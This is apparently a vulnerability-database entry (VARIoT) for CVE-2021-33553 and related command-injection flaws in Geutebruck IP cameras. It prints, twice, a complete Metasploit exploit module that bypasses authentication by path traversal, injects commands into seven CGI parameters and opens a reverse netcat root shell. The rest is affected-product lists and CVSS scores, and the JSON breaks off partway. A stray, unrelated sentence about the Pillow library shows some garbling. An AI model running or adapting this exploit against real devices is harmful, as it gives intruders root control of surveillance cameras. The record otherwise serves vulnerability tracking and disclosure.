third party name Parameter buffer overflow is triggered and arbitrary code is executed - CVE-2021-33546 ‥ * By a remote third party profile Parameter buffer overflow is triggered and arbitrary code is executed - CVE-2021-33547 ‥ * By a remote third party action Parameter buffer overflow is triggered and arbitrary code is executed - CVE-2021-33549. Pillow is a Python-based image processing library. There is currently no information about this vulnerability, please feel free to follow CNNVD or manufacturer announcements. ##
This module requires Metasploit: https://metasploit.com/download
Current source: https://github.com/rapid7/metasploit-framework
class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::CmdStager prepend Msf::Exploit::Remote::AutoCheck
def initialize(info = {}) super( update_info( info, 'Name' => 'Geutebruck Multiple Remote Command Execution', 'Description' => %q{ This module bypasses the HTTP basic authentication used to access the /uapi-cgi/ folder and exploits multiple authenticated arbitrary command execution vulnerabilities within the parameters of various pages on Geutebruck G-Cam EEC-2xxx and G-Code EBC-21xx, EFD-22xx, ETHC-22xx, and EWPC-22xx devices running firmware versions <= 1.12.0.27 as well as firmware versions 1.12.13.2 and 1.12.14.5. Successful exploitation results in remote code execution as the root user. },
'Author' => [
'Titouan Lazard', # Of RandoriSec - Discovery
'Ibrahim Ayadhi', # Of RandoriSec - Discovery and Metasploit Module
'Sébastien Charbonnier' # Of RandoriSec - Metasploit Module
],
'License' => MSF_LICENSE,
'References' => [
['CVE', '2021-33543'],
['CVE', '2021-33544'],
['CVE', '2021-33548'],
['CVE', '2021-33550'],
['CVE', '2021-33551'],
['CVE', '2021-33552'],
['CVE', '2021-33553'],
['CVE', '2021-33554'],
[ 'URL', 'http://geutebruck.com' ],
[ 'URL', 'https://www.randorisec.fr/udp-technology-ip-camera-vulnerabilities/'],
[ 'URL', 'https://us-cert.cisa.gov/ics/advisories/icsa-21-208-03']
],
'DisclosureDate' => '2021-07-08',
'Privileged' => true,
'Platform' => ['unix', 'linux'],
'Arch' => [ARCH_CMD],
'Targets' => [
[
'CVE-2021-33544 - certmngr.cgi', {
'http_method' => 'GET',
'http_vars' => {
'action' => 'createselfcert',
'local' => Rex::Text.rand_text_alphanumeric(10..16),
'country' => Rex::Text.rand_text_alphanumeric(2),
'state' => '$(PLACEHOLDER_CMD)',
'organization' => Rex::Text.rand_text_alphanumeric(10..16),
'organizationunit' => Rex::Text.rand_text_alphanumeric(10..16),
'commonname' => Rex::Text.rand_text_alphanumeric(10..16),
'days' => Rex::Text.rand_text_numeric(2..4),
'type' => Rex::Text.rand_text_numeric(2..4)
},
'uri' => '/../uapi-cgi/certmngr.cgi'
}
],
[
'CVE-2021-33548 - factory.cgi', {
'http_method' => 'GET',
'http_vars' => { 'preserve' => '$(PLACEHOLDER_CMD)' },
'uri' => '/../uapi-cgi/factory.cgi'
}
],
[
'CVE-2021-33550 - language.cgi', {
'http_method' => 'GET',
'http_vars' => { 'date' => '$(PLACEHOLDER_CMD)' },
'uri' => '/../uapi-cgi/language.cgi'
}
],
[
'CVE-2021-33551 - oem.cgi', {
'http_method' => 'GET',
'http_vars' => {
'action' => 'set',
'enable' => 'yes',
'environment.lang' => '$(PLACEHOLDER_CMD)'
},
'uri' => '/../uapi-cgi/oem.cgi'
}
],
[
'CVE-2021-33552 - simple_reclistjs.cgi', {
'http_method' => 'GET',
'http_vars' => {
'action' => 'get',
'timekey' => Rex::Text.rand_text_numeric(2..4),
'date' => '$(PLACEHOLDER_CMD)'
},
'uri' => '/../uapi-cgi/simple_reclistjs.cgi'
}
],
[
'CVE-2021-33553 - testcmd.cgi', {
'http_method' => 'GET',
'http_vars' => { 'command' => 'PLACEHOLDER_CMD' },
'uri' => '/../uapi-cgi/testcmd.cgi'
}
],
[
'CVE-2021-33554 - tmpapp.cgi', {
'http_method' => 'GET',
'http_vars' => { 'appfile.filename' => '$(PLACEHOLDER_CMD)' },
'uri' => '/../uapi-cgi/tmpapp.cgi'
}
]
],
'DefaultTarget' => 0,
'DefaultOptions' => {
'PAYLOAD' => 'cmd/unix/reverse_netcat_gaping'
},
'Notes' => {
'Stability' => ['CRASH_SAFE'],
'Reliability' => ['REPEATABLE_SESSION'],
'SideEffects' => ['ARTIFACTS_ON_DISK']
}
)
)
end
def firmware res = send_request_cgi( 'method' => 'GET', 'uri' => '/brand.xml' ) unless res print_error('Connection failed!') return false end
unless res&.body && !res.body.empty?
print_error('Empty body in the response!')
return false
end
res_xml = res.get_xml_document
if res_xml.at('//firmware').nil?
print_error('Target did not respond with a XML document containing the "firmware" element!')
return false
end
raw_text = res_xml.at('//firmware').text
if raw_text && raw_text.match(/\d\.\d{1,3}\.\d{1,3}\.\d{1,3}/)
raw_text.match(/\d\.\d{1,3}\.\d{1,3}\.\d{1,3}/)[0]
else
print_error('Target responded with a XML document containing the "firmware" element but its not a valid version string!')
false
end
end
def check version = firmware if version == false return CheckCode::Unknown('Target did not respond with a valid XML response that we could retrieve the version from!') end
rex_version = Rex::Version.new(version)
vprint_status("Found Geutebruck version #{rex_version}")
if rex_version <= Rex::Version.new('1.12.0.27') || rex_version == Rex::Version.new('1.12.13.2') || rex_version == Rex::Version.new('1.12.14.5')
return CheckCode::Appears
end
CheckCode::Safe
end
def exploit print_status("#{rhost}:#{rport} - Setting up request...")
method = target['http_method']
if method == 'GET'
http_method_vars = 'vars_get'
else
http_method_vars = 'vars_post'
end
http_vars = target['http_vars']
http_vars.each do |(k, v)|
if v.include? 'PLACEHOLDER_CMD'
http_vars[k]['PLACEHOLDER_CMD'] = payload.encoded
end
end
print_status("Sending CMD injection request to #{rhost}:#{rport}")
send_request_cgi(
{
'method' => method,
'uri' => target['uri'],
http_method_vars => http_vars
}
)
print_status('Exploit complete, you should get a shell as the root user!')
end end
Show details on source website{
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/VARIoTentry#",
"affected_products": {
"@id": "https://www.variotdbs.pl/ref/affected_products"
},
"configurations": {
"@id": "https://www.variotdbs.pl/ref/configurations"
},
"credits": {
"@id": "https://www.variotdbs.pl/ref/credits"
},
"cvss": {
"@id": "https://www.variotdbs.pl/ref/cvss/"
},
"description": {
"@id": "https://www.variotdbs.pl/ref/description/"
},
"exploit_availability": {
"@id": "https://www.variotdbs.pl/ref/exploit_availability/"
},
"external_ids": {
"@id": "https://www.variotdbs.pl/ref/external_ids/"
},
"iot": {
"@id": "https://www.variotdbs.pl/ref/iot/"
},
"iot_taxonomy": {
"@id": "https://www.variotdbs.pl/ref/iot_taxonomy/"
},
"patch": {
"@id": "https://www.variotdbs.pl/ref/patch/"
},
"problemtype_data": {
"@id": "https://www.variotdbs.pl/ref/problemtype_data/"
},
"references": {
"@id": "https://www.variotdbs.pl/ref/references/"
},
"sources": {
"@id": "https://www.variotdbs.pl/ref/sources/"
},
"sources_release_date": {
"@id": "https://www.variotdbs.pl/ref/sources_release_date/"
},
"sources_update_date": {
"@id": "https://www.variotdbs.pl/ref/sources_update_date/"
},
"threat_type": {
"@id": "https://www.variotdbs.pl/ref/threat_type/"
},
"title": {
"@id": "https://www.variotdbs.pl/ref/title/"
},
"type": {
"@id": "https://www.variotdbs.pl/ref/type/"
}
},
"@id": "https://www.variotdbs.pl/vuln/VAR-202109-0849",
"affected_products": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/affected_products#",
"data": {
"@container": "@list"
},
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
},
"@id": "https://www.variotdbs.pl/ref/sources"
}
},
"data": [
{
"model": "g-code een-2010",
"scope": "eq",
"trust": 1.0,
"vendor": "geutebrueck",
"version": "1.12.14.5"
},
{
"model": "g-cam ebc-2110",
"scope": "eq",
"trust": 1.0,
"vendor": "geutebrueck",
"version": "1.12.13.2"
},
{
"model": "g-cam ebc-2112",
"scope": "lte",
"trust": 1.0,
"vendor": "geutebrueck",
"version": "1.12.0.27"
},
{
"model": "g-cam efd-2250",
"scope": "eq",
"trust": 1.0,
"vendor": "geutebrueck",
"version": "1.12.13.2"
},
{
"model": "g-cam ewpc-2275",
"scope": "lte",
"trust": 1.0,
"vendor": "geutebrueck",
"version": "1.12.0.27"
},
{
"model": "g-code een-2040",
"scope": "eq",
"trust": 1.0,
"vendor": "geutebrueck",
"version": "1.12.13.2"
},
{
"model": "g-cam ewpc-2271",
"scope": "eq",
"trust": 1.0,
"vendor": "geutebrueck",
"version": "1.12.13.2"
},
{
"model": "g-cam ebc-2111",
"scope": "eq",
"trust": 1.0,
"vendor": "geutebrueck",
"version": "1.12.13.2"
},
{
"model": "g-cam ethc-2239",
"scope": "eq",
"trust": 1.0,
"vendor": "geutebrueck",
"version": "1.12.13.2"
},
{
"model": "g-cam ethc-2230",
"scope": "eq",
"trust": 1.0,
"vendor": "geutebrueck",
"version": "1.12.14.5"
},
{
"model": "g-cam ethc-2249",
"scope": "eq",
"trust": 1.0,
"vendor": "geutebrueck",
"version": "1.12.14.5"
},
{
"model": "g-code een-2010",
"scope": "eq",
"trust": 1.0,
"vendor": "geutebrueck",
"version": "1.12.13.2"
},
{
"model": "g-cam efd-2241",
"scope": "eq",
"trust": 1.0,
"vendor": "geutebrueck",
"version": "1.12.14.5"
},
{
"model": "g-cam ebc-2110",
"scope": "lte",
"trust": 1.0,
"vendor": "geutebrueck",
"version": "1.12.0.27"
},
{
"model": "g-code een-2040",
"scope": "lte",
"trust": 1.0,
"vendor": "geutebrueck",
"version": "1.12.0.27"
},
{
"model": "g-cam ewpc-2271",
"scope": "lte",
"trust": 1.0,
"vendor": "geutebrueck",
"version": "1.12.0.27"
},
{
"model": "g-cam ebc-2111",
"scope": "lte",
"trust": 1.0,
"vendor": "geutebrueck",
"version": "1.12.0.27"
},
{
"model": "g-cam ethc-2239",
"scope": "lte",
"trust": 1.0,
"vendor": "geutebrueck",
"version": "1.12.0.27"
},
{
"model": "g-cam efd-2250",
"scope": "lte",
"trust": 1.0,
"vendor": "geutebrueck",
"version": "1.12.0.27"
},
{
"model": "g-cam ethc-2249",
"scope": "eq",
"trust": 1.0,
"vendor": "geutebrueck",
"version": "1.12.13.2"
},
{
"model": "g-cam ethc-2230",
"scope": "eq",
"trust": 1.0,
"vendor": "geutebrueck",
"version": "1.12.13.2"
},
{
"model": "g-cam ewpc-2270",
"scope": "eq",
"trust": 1.0,
"vendor": "geutebrueck",
"version": "1.12.14.5"
},
{
"model": "g-code eec-2400",
"scope": "eq",
"trust": 1.0,
"vendor": "geutebrueck",
"version": "1.12.14.5"
},
{
"model": "g-code een-2010",
"scope": "lte",
"trust": 1.0,
"vendor": "geutebrueck",
"version": "1.12.0.27"
},
{
"model": "g-cam efd-2241",
"scope": "eq",
"trust": 1.0,
"vendor": "geutebrueck",
"version": "1.12.13.2"
},
{
"model": "g-cam ethc-2240",
"scope": "eq",
"trust": 1.0,
"vendor": "geutebrueck",
"version": "1.12.14.5"
},
{
"model": "g-cam efd-2251",
"scope": "eq",
"trust": 1.0,
"vendor": "geutebrueck",
"version": "1.12.14.5"
},
{
"model": "g-cam ethc-2230",
"scope": "lte",
"trust": 1.0,
"vendor": "geutebrueck",
"version": "1.12.0.27"
},
{
"model": "g-cam efd-2241",
"scope": "lte",
"trust": 1.0,
"vendor": "geutebrueck",
"version": "1.12.0.27"
},
{
"model": "g-code eec-2400",
"scope": "eq",
"trust": 1.0,
"vendor": "geutebrueck",
"version": "1.12.13.2"
},
{
"model": "g-cam ewpc-2270",
"scope": "eq",
"trust": 1.0,
"vendor": "geutebrueck",
"version": "1.12.13.2"
},
{
"model": "g-cam ethc-2249",
"scope": "lte",
"trust": 1.0,
"vendor": "geutebrueck",
"version": "1.12.0.27"
},
{
"model": "g-code eec-2400",
"scope": "lte",
"trust": 1.0,
"vendor": "geutebrueck",
"version": "1.12.0.27"
},
{
"model": "g-cam ethc-2240",
"scope": "eq",
"trust": 1.0,
"vendor": "geutebrueck",
"version": "1.12.13.2"
},
{
"model": "g-cam efd-2251",
"scope": "eq",
"trust": 1.0,
"vendor": "geutebrueck",
"version": "1.12.13.2"
},
{
"model": "g-cam ewpc-2275",
"scope": "eq",
"trust": 1.0,
"vendor": "geutebrueck",
"version": "1.12.14.5"
},
{
"model": "g-cam ebc-2112",
"scope": "eq",
"trust": 1.0,
"vendor": "geutebrueck",
"version": "1.12.14.5"
},
{
"model": "g-cam ewpc-2270",
"scope": "lte",
"trust": 1.0,
"vendor": "geutebrueck",
"version": "1.12.0.27"
},
{
"model": "g-cam ewpc-2275",
"scope": "eq",
"trust": 1.0,
"vendor": "geutebrueck",
"version": "1.12.13.2"
},
{
"model": "g-cam ebc-2110",
"scope": "eq",
"trust": 1.0,
"vendor": "geutebrueck",
"version": "1.12.14.5"
},
{
"model": "g-cam efd-2250",
"scope": "eq",
"trust": 1.0,
"vendor": "geutebrueck",
"version": "1.12.14.5"
},
{
"model": "g-cam efd-2251",
"scope": "lte",
"trust": 1.0,
"vendor": "geutebrueck",
"version": "1.12.0.27"
},
{
"model": "g-cam ethc-2240",
"scope": "lte",
"trust": 1.0,
"vendor": "geutebrueck",
"version": "1.12.0.27"
},
{
"model": "g-code een-2040",
"scope": "eq",
"trust": 1.0,
"vendor": "geutebrueck",
"version": "1.12.14.5"
},
{
"model": "g-cam ebc-2112",
"scope": "eq",
"trust": 1.0,
"vendor": "geutebrueck",
"version": "1.12.13.2"
},
{
"model": "g-cam ewpc-2271",
"scope": "eq",
"trust": 1.0,
"vendor": "geutebrueck",
"version": "1.12.14.5"
},
{
"model": "g-cam ebc-2111",
"scope": "eq",
"trust": 1.0,
"vendor": "geutebrueck",
"version": "1.12.14.5"
},
{
"model": "g-cam ethc-2239",
"scope": "eq",
"trust": 1.0,
"vendor": "geutebrueck",
"version": "1.12.14.5"
},
{
"model": "",
"scope": "eq",
"trust": 0.8,
"vendor": "geutebruck",
"version": "\u2025 * firmware 1.12.13.2 1.12.14.5"
},
{
"model": "",
"scope": "eq",
"trust": 0.8,
"vendor": "geutebruck",
"version": "* een-20xx"
},
{
"model": "",
"scope": "eq",
"trust": 0.8,
"vendor": "geutebruck",
"version": "* efd-22xx"
},
{
"model": "",
"scope": "eq",
"trust": 0.8,
"vendor": "geutebruck",
"version": "* ethc-22xx"
},
{
"model": "",
"scope": "eq",
"trust": 0.8,
"vendor": "geutebruck",
"version": "\u2025 * g-cam"
},
{
"model": "",
"scope": "eq",
"trust": 0.8,
"vendor": "geutebruck",
"version": "* eec-2xx"
},
{
"model": "",
"scope": "eq",
"trust": 0.8,
"vendor": "geutebruck",
"version": "works with the above firmware s e2 series camera models encoders"
},
{
"model": "",
"scope": "eq",
"trust": 0.8,
"vendor": "geutebruck",
"version": null
},
{
"model": "",
"scope": "eq",
"trust": 0.8,
"vendor": "geutebruck",
"version": "* ebc-21xx"
},
{
"model": "",
"scope": "eq",
"trust": 0.8,
"vendor": "geutebruck",
"version": "\u2025 * g-code"
},
{
"model": "",
"scope": "eq",
"trust": 0.8,
"vendor": "geutebruck",
"version": "( multiple products )"
},
{
"model": "",
"scope": "eq",
"trust": 0.8,
"vendor": "geutebruck",
"version": "* ewpc-22xx"
}
],
"sources": [
{
"db": "JVNDB",
"id": "JVNDB-2021-002023"
},
{
"db": "NVD",
"id": "CVE-2021-33553"
}
]
},
"credits": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/credits#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": "Titouan Lazard and Ibrahim Ayadhi from RandoriSec reported these vulnerabilities to CISA.",
"sources": [
{
"db": "CNNVD",
"id": "CNNVD-202107-2083"
}
],
"trust": 0.6
},
"cve": "CVE-2021-33553",
"cvss": {
"@context": {
"cvssV2": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/cvss/cvssV2#"
},
"@id": "https://www.variotdbs.pl/ref/cvss/cvssV2"
},
"cvssV3": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/cvss/cvssV3#"
},
"@id": "https://www.variotdbs.pl/ref/cvss/cvssV3/"
},
"severity": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/cvss/severity#"
},
"@id": "https://www.variotdbs.pl/ref/cvss/severity"
},
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
},
"@id": "https://www.variotdbs.pl/ref/sources"
}
},
"data": [
{
"cvssV2": [
{
"accessComplexity": "LOW",
"accessVector": "NETWORK",
"authentication": "SINGLE",
"author": "nvd@nist.gov",
"availabilityImpact": "PARTIAL",
"baseScore": 6.5,
"confidentialityImpact": "PARTIAL",
"exploitabilityScore": 8.0,
"id": "CVE-2021-33553",
"impactScore": 6.4,
"integrityImpact": "PARTIAL",
"severity": "MEDIUM",
"trust": 1.0,
"vectorString": "AV:N/AC:L/Au:S/C:P/I:P/A:P",
"version": "2.0"
}
],
"cvssV3": [
{
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"author": "nvd@nist.gov",
"availabilityImpact": "HIGH",
"baseScore": 7.2,
"baseSeverity": "HIGH",
"confidentialityImpact": "HIGH",
"exploitabilityScore": 1.2,
"id": "CVE-2021-33553",
"impactScore": 5.9,
"integrityImpact": "HIGH",
"privilegesRequired": "HIGH",
"scope": "UNCHANGED",
"trust": 2.0,
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H",
"version": "3.1"
},
{
"attackComplexity": "Low",
"attackVector": "Network",
"author": "OTHER",
"availabilityImpact": "High",
"baseScore": 7.2,
"baseSeverity": "High",
"confidentialityImpact": "High",
"exploitabilityScore": null,
"id": "JVNDB-2021-002023",
"impactScore": null,
"integrityImpact": "High",
"privilegesRequired": "High",
"scope": "Unchanged",
"trust": 0.8,
"userInteraction": "None",
"vectorString": "CVSS:3.0/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H",
"version": "3.0"
}
],
"severity": [
{
"author": "nvd@nist.gov",
"id": "CVE-2021-33553",
"trust": 1.0,
"value": "HIGH"
},
{
"author": "info@cert.vde.com",
"id": "CVE-2021-33553",
"trust": 1.0,
"value": "HIGH"
},
{
"author": "OTHER",
"id": "JVNDB-2021-002023",
"trust": 0.8,
"value": "High"
},
{
"author": "CNNVD",
"id": "CNNVD-202107-2083",
"trust": 0.6,
"value": "HIGH"
},
{
"author": "CNNVD",
"id": "CNNVD-202104-975",
"trust": 0.6,
"value": "MEDIUM"
}
]
}
],
"sources": [
{
"db": "JVNDB",
"id": "JVNDB-2021-002023"
},
{
"db": "CNNVD",
"id": "CNNVD-202107-2083"
},
{
"db": "CNNVD",
"id": "CNNVD-202104-975"
},
{
"db": "NVD",
"id": "CVE-2021-33553"
},
{
"db": "NVD",
"id": "CVE-2021-33553"
}
]
},
"description": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/description#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": "Multiple camera devices by UDP Technology, Geutebr\u00fcck and other vendors are vulnerable to command injection, which may allow an attacker to remotely execute arbitrary code. GEUTEBRUCK Provided by the company G-Cam E2 and G-Code The following multiple vulnerabilities exist in. * Lack of authentication for important features (CWE-306) - CVE-2021-33543 \u2025 * Command injection (CWE-77) - CVE-2021-33544 , CVE-2021-33548 , CVE-2021-33550 , CVE-2021-33551 , CVE-2021-33552 , CVE-2021-33553 , CVE-2021-33554 \u2025 * Stack-based buffer overflow (CWE-121) - CVE-2021-33545 , CVE-2021-33546 , CVE-2021-33547 , CVE-2021-33549The expected impact depends on each vulnerability, but it may be affected as follows. * Confidential information stolen by a remote third party due to improper default user authentication settings - CVE-2021-33543 \u2025 * Arbitrary code executed by command injection by a remote third party - CVE-2021-33544 , CVE-2021-33548 , CVE-2021-33550 , CVE-2021-33551 , CVE-2021-33552 , CVE-2021-33553 , CVE-2021-33554 \u2025 * By a remote third party counter Parameter buffer overflow is triggered and arbitrary code is executed - CVE-2021-33545 \u2025 * By a remote third party name Parameter buffer overflow is triggered and arbitrary code is executed - CVE-2021-33546 \u2025 * By a remote third party profile Parameter buffer overflow is triggered and arbitrary code is executed - CVE-2021-33547 \u2025 * By a remote third party action Parameter buffer overflow is triggered and arbitrary code is executed - CVE-2021-33549. Pillow is a Python-based image processing library. \nThere is currently no information about this vulnerability, please feel free to follow CNNVD or manufacturer announcements. ##\n# This module requires Metasploit: https://metasploit.com/download\n# Current source: https://github.com/rapid7/metasploit-framework\n##\n\nclass MetasploitModule \u003c Msf::Exploit::Remote\n Rank = ExcellentRanking\n include Msf::Exploit::Remote::HttpClient\n include Msf::Exploit::CmdStager\n prepend Msf::Exploit::Remote::AutoCheck\n\n def initialize(info = {})\n super(\n update_info(\n info,\n \u0027Name\u0027 =\u003e \u0027Geutebruck Multiple Remote Command Execution\u0027,\n \u0027Description\u0027 =\u003e %q{\n This module bypasses the HTTP basic authentication used to access the /uapi-cgi/ folder\n and exploits multiple authenticated arbitrary command execution vulnerabilities within\n the parameters of various pages on Geutebruck G-Cam EEC-2xxx and G-Code EBC-21xx,\n EFD-22xx, ETHC-22xx, and EWPC-22xx devices running firmware versions \u003c= 1.12.0.27 as\n well as firmware versions 1.12.13.2 and 1.12.14.5. Successful exploitation results in\n remote code execution as the root user. \n },\n\n \u0027Author\u0027 =\u003e [\n \u0027Titouan Lazard\u0027, # Of RandoriSec - Discovery\n \u0027Ibrahim Ayadhi\u0027, # Of RandoriSec - Discovery and Metasploit Module\n \u0027S\u00e9bastien Charbonnier\u0027 # Of RandoriSec - Metasploit Module\n ],\n \u0027License\u0027 =\u003e MSF_LICENSE,\n \u0027References\u0027 =\u003e [\n [\u0027CVE\u0027, \u00272021-33543\u0027],\n [\u0027CVE\u0027, \u00272021-33544\u0027],\n [\u0027CVE\u0027, \u00272021-33548\u0027],\n [\u0027CVE\u0027, \u00272021-33550\u0027],\n [\u0027CVE\u0027, \u00272021-33551\u0027],\n [\u0027CVE\u0027, \u00272021-33552\u0027],\n [\u0027CVE\u0027, \u00272021-33553\u0027],\n [\u0027CVE\u0027, \u00272021-33554\u0027],\n [ \u0027URL\u0027, \u0027http://geutebruck.com\u0027 ],\n [ \u0027URL\u0027, \u0027https://www.randorisec.fr/udp-technology-ip-camera-vulnerabilities/\u0027],\n [ \u0027URL\u0027, \u0027https://us-cert.cisa.gov/ics/advisories/icsa-21-208-03\u0027]\n ],\n \u0027DisclosureDate\u0027 =\u003e \u00272021-07-08\u0027,\n \u0027Privileged\u0027 =\u003e true,\n \u0027Platform\u0027 =\u003e [\u0027unix\u0027, \u0027linux\u0027],\n \u0027Arch\u0027 =\u003e [ARCH_CMD],\n \u0027Targets\u0027 =\u003e [\n [\n \u0027CVE-2021-33544 - certmngr.cgi\u0027, {\n \u0027http_method\u0027 =\u003e \u0027GET\u0027,\n \u0027http_vars\u0027 =\u003e {\n \u0027action\u0027 =\u003e \u0027createselfcert\u0027,\n \u0027local\u0027 =\u003e Rex::Text.rand_text_alphanumeric(10..16),\n \u0027country\u0027 =\u003e Rex::Text.rand_text_alphanumeric(2),\n \u0027state\u0027 =\u003e \u0027$(PLACEHOLDER_CMD)\u0027,\n \u0027organization\u0027 =\u003e Rex::Text.rand_text_alphanumeric(10..16),\n \u0027organizationunit\u0027 =\u003e Rex::Text.rand_text_alphanumeric(10..16),\n \u0027commonname\u0027 =\u003e Rex::Text.rand_text_alphanumeric(10..16),\n \u0027days\u0027 =\u003e Rex::Text.rand_text_numeric(2..4),\n \u0027type\u0027 =\u003e Rex::Text.rand_text_numeric(2..4)\n },\n \u0027uri\u0027 =\u003e \u0027/../uapi-cgi/certmngr.cgi\u0027\n }\n ],\n [\n \u0027CVE-2021-33548 - factory.cgi\u0027, {\n \u0027http_method\u0027 =\u003e \u0027GET\u0027,\n \u0027http_vars\u0027 =\u003e { \u0027preserve\u0027 =\u003e \u0027$(PLACEHOLDER_CMD)\u0027 },\n \u0027uri\u0027 =\u003e \u0027/../uapi-cgi/factory.cgi\u0027\n }\n ],\n [\n \u0027CVE-2021-33550 - language.cgi\u0027, {\n \u0027http_method\u0027 =\u003e \u0027GET\u0027,\n \u0027http_vars\u0027 =\u003e { \u0027date\u0027 =\u003e \u0027$(PLACEHOLDER_CMD)\u0027 },\n \u0027uri\u0027 =\u003e \u0027/../uapi-cgi/language.cgi\u0027\n }\n ],\n [\n \u0027CVE-2021-33551 - oem.cgi\u0027, {\n \u0027http_method\u0027 =\u003e \u0027GET\u0027,\n \u0027http_vars\u0027 =\u003e {\n \u0027action\u0027 =\u003e \u0027set\u0027,\n \u0027enable\u0027 =\u003e \u0027yes\u0027,\n \u0027environment.lang\u0027 =\u003e \u0027$(PLACEHOLDER_CMD)\u0027\n },\n \u0027uri\u0027 =\u003e \u0027/../uapi-cgi/oem.cgi\u0027\n }\n ],\n [\n \u0027CVE-2021-33552 - simple_reclistjs.cgi\u0027, {\n \u0027http_method\u0027 =\u003e \u0027GET\u0027,\n \u0027http_vars\u0027 =\u003e {\n \u0027action\u0027 =\u003e \u0027get\u0027,\n \u0027timekey\u0027 =\u003e Rex::Text.rand_text_numeric(2..4),\n \u0027date\u0027 =\u003e \u0027$(PLACEHOLDER_CMD)\u0027\n },\n \u0027uri\u0027 =\u003e \u0027/../uapi-cgi/simple_reclistjs.cgi\u0027\n }\n ],\n [\n \u0027CVE-2021-33553 - testcmd.cgi\u0027, {\n \u0027http_method\u0027 =\u003e \u0027GET\u0027,\n \u0027http_vars\u0027 =\u003e { \u0027command\u0027 =\u003e \u0027PLACEHOLDER_CMD\u0027 },\n \u0027uri\u0027 =\u003e \u0027/../uapi-cgi/testcmd.cgi\u0027\n }\n ],\n [\n \u0027CVE-2021-33554 - tmpapp.cgi\u0027, {\n \u0027http_method\u0027 =\u003e \u0027GET\u0027,\n \u0027http_vars\u0027 =\u003e { \u0027appfile.filename\u0027 =\u003e \u0027$(PLACEHOLDER_CMD)\u0027 },\n \u0027uri\u0027 =\u003e \u0027/../uapi-cgi/tmpapp.cgi\u0027\n }\n ]\n ],\n \u0027DefaultTarget\u0027 =\u003e 0,\n \u0027DefaultOptions\u0027 =\u003e {\n \u0027PAYLOAD\u0027 =\u003e \u0027cmd/unix/reverse_netcat_gaping\u0027\n },\n \u0027Notes\u0027 =\u003e {\n \u0027Stability\u0027 =\u003e [\u0027CRASH_SAFE\u0027],\n \u0027Reliability\u0027 =\u003e [\u0027REPEATABLE_SESSION\u0027],\n \u0027SideEffects\u0027 =\u003e [\u0027ARTIFACTS_ON_DISK\u0027]\n }\n )\n )\n end\n\n def firmware\n res = send_request_cgi(\n \u0027method\u0027 =\u003e \u0027GET\u0027,\n \u0027uri\u0027 =\u003e \u0027/brand.xml\u0027\n )\n unless res\n print_error(\u0027Connection failed!\u0027)\n return false\n end\n\n unless res\u0026.body \u0026\u0026 !res.body.empty?\n print_error(\u0027Empty body in the response!\u0027)\n return false\n end\n\n res_xml = res.get_xml_document\n if res_xml.at(\u0027//firmware\u0027).nil?\n print_error(\u0027Target did not respond with a XML document containing the \"firmware\" element!\u0027)\n return false\n end\n raw_text = res_xml.at(\u0027//firmware\u0027).text\n if raw_text \u0026\u0026 raw_text.match(/\\d\\.\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}/)\n raw_text.match(/\\d\\.\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}/)[0]\n else\n print_error(\u0027Target responded with a XML document containing the \"firmware\" element but its not a valid version string!\u0027)\n false\n end\n end\n\n def check\n version = firmware\n if version == false\n return CheckCode::Unknown(\u0027Target did not respond with a valid XML response that we could retrieve the version from!\u0027)\n end\n\n rex_version = Rex::Version.new(version)\n vprint_status(\"Found Geutebruck version #{rex_version}\")\n if rex_version \u003c= Rex::Version.new(\u00271.12.0.27\u0027) || rex_version == Rex::Version.new(\u00271.12.13.2\u0027) || rex_version == Rex::Version.new(\u00271.12.14.5\u0027)\n return CheckCode::Appears\n end\n\n CheckCode::Safe\n end\n\n def exploit\n print_status(\"#{rhost}:#{rport} - Setting up request...\")\n\n method = target[\u0027http_method\u0027]\n if method == \u0027GET\u0027\n http_method_vars = \u0027vars_get\u0027\n else\n http_method_vars = \u0027vars_post\u0027\n end\n\n http_vars = target[\u0027http_vars\u0027]\n http_vars.each do |(k, v)|\n if v.include? \u0027PLACEHOLDER_CMD\u0027\n http_vars[k][\u0027PLACEHOLDER_CMD\u0027] = payload.encoded\n end\n end\n\n print_status(\"Sending CMD injection request to #{rhost}:#{rport}\")\n send_request_cgi(\n {\n \u0027method\u0027 =\u003e method,\n \u0027uri\u0027 =\u003e target[\u0027uri\u0027],\n http_method_vars =\u003e http_vars\n }\n )\n print_status(\u0027Exploit complete, you should get a shell as the root user!\u0027)\n end\nend\n",
"sources": [
{
"db": "NVD",
"id": "CVE-2021-33553"
},
{
"db": "JVNDB",
"id": "JVNDB-2021-002023"
},
{
"db": "CNNVD",
"id": "CNNVD-202104-975"
},
{
"db": "VULMON",
"id": "CVE-2021-33553"
},
{
"db": "PACKETSTORM",
"id": "164036"
}
],
"trust": 2.34
},
"external_ids": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/external_ids#",
"data": {
"@container": "@list"
},
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": [
{
"db": "NVD",
"id": "CVE-2021-33553",
"trust": 2.7
},
{
"db": "ICS CERT",
"id": "ICSA-21-208-03",
"trust": 1.7
},
{
"db": "PACKETSTORM",
"id": "164036",
"trust": 0.8
},
{
"db": "JVN",
"id": "JVNVU97817785",
"trust": 0.8
},
{
"db": "ICS CERT",
"id": "ICSA-21-208-05",
"trust": 0.8
},
{
"db": "JVNDB",
"id": "JVNDB-2021-002023",
